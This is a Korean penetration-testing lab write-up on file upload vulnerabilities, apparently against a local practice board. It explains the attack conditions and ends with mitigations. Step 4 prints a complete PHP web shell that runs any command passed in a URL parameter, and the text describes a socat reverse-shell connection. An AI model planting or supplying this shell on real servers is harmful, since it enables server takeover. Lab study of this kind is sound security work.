[모의해킹 실습] 파일업로드 취약 페이지 구현 및 공격 실습

파일 업로드

파일 업로드 취약점은 사이트의 파일 업로드 기능을 이용하여 인가 받지 않은 파일을 서버에 임의로 업로드 하는 공격입니다. 형태의 파일을 업로드 실행하면 서버의 자원을 장악할 있으며 서비스를 실행하는 서버의 권한을 획득할 있습니다. 다른 페이지의 코드를 변조하여 클라이언트에게 악성 코드를 배포할 있습니다.

1. 공격 원리

파일 업로드 취약점은 아래표의 조건이 모두 만족할 발생하는 취약점입니다.

No.

행위

발생 원인

1

악의적인 파일 업로드

파일 업로드 시 확장자 체크의 미흡, PUT 메소드 이용

2

업로드 경로 확인

업로드 디렉토리의 경로 노출

3

스크립트 실행

실행 권한 존재

 

파일 업로드 취약점은 다음의 과정으로 진행됩니다.

1. 파일 업로드 기능을 이용하여 임의의 확장자를 가진 파일을 업로드합니다.

2. 확장자 체크가 미흡하고 업로드한 파일 경로가 노출되는지 확인합니다.

3. 악의적인 스크립트를 업로드합니다.

4. 파일 업로드 경로에 URL 접근하여 쉘이 실행되는지 확인합니다.

파일을 업로드 업로드 파일에 접근하여 쉘을 실행시킵니다. 쉘을 실행시킴으로써 서버를 장악할 있고 리버스 쉘을 연결하여 내부망을 장악할 있습니다.

 

2. 공격 실습

No.

실습 위치

비고

1

http://localhost/freeboard/write

게시판 게시글 추가 기능

 

 

Step1.파일 업로드 기능에 확장자 체크가 미흡하여 스크립트 언어를 업로드를 시도합니다.

php 파일 업로드 시도

Step2.파일이 정상적으로 업로드 되었음을 확인하고 업로드 경로를 확인합니다.

업로드 경로 확인

 Step3.경로로 직접 접근하여 쉘을 실행시킵니다.

웹쉘 실행 성공

Step4.공격에 사용한  쉘은 다음과 같습니다.

<html>

<body>

<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">

<input type="TEXT" name="cmd" id="cmd" size="80">

<input type="SUBMIT" value="Execute">

</form>

<pre>

<?php

    if(isset($_GET['cmd']))

    {

        system($_GET['cmd']);

    }

?>

</pre>

</body>

<script>document.getElementById("cmd").focus();</script>

</html>

Step5. 업로드가 가능하면 공격자는 공격지 서버와 리버스 쉘을 연결하여 서버 자원을 변조, 삭제할 있습니다. 업로드한 쉘을 이용하여 리버스 연결을 시도합니다.

socat을 이용한 리버스쉘연결( 웹서버 )
socat을이용한 리버스 쉘 연결 (공격자 서버)

 

파일 업로드 취약점은 서버 장악으로 이어질 있는 위험도가 높은 취약점입니다. 업로드 구현 서버 확장자를 화이트 리스트 방식으로 필터링하는 방법으로 보안대책을 세울 있습니다. 또한, 경로와 파일명을 데이터베이스로 관리하여 경로 노출을 방지할 있습니다. 취약점이 존재하는 IIS6.X 미만 버전을 패치하고 사용자의 입력 값을 검증하여 파일에 특수문자가 포함되지 않는지 검증하는 절차가 필요합니다. 또한 PUT 메소드를 이용하여 파일을 업로드할 있으므로 사용하지 않는 메소드는 제거하고 폴더의 실행 권한을 부여하지 않도록 설정합니다.

반응형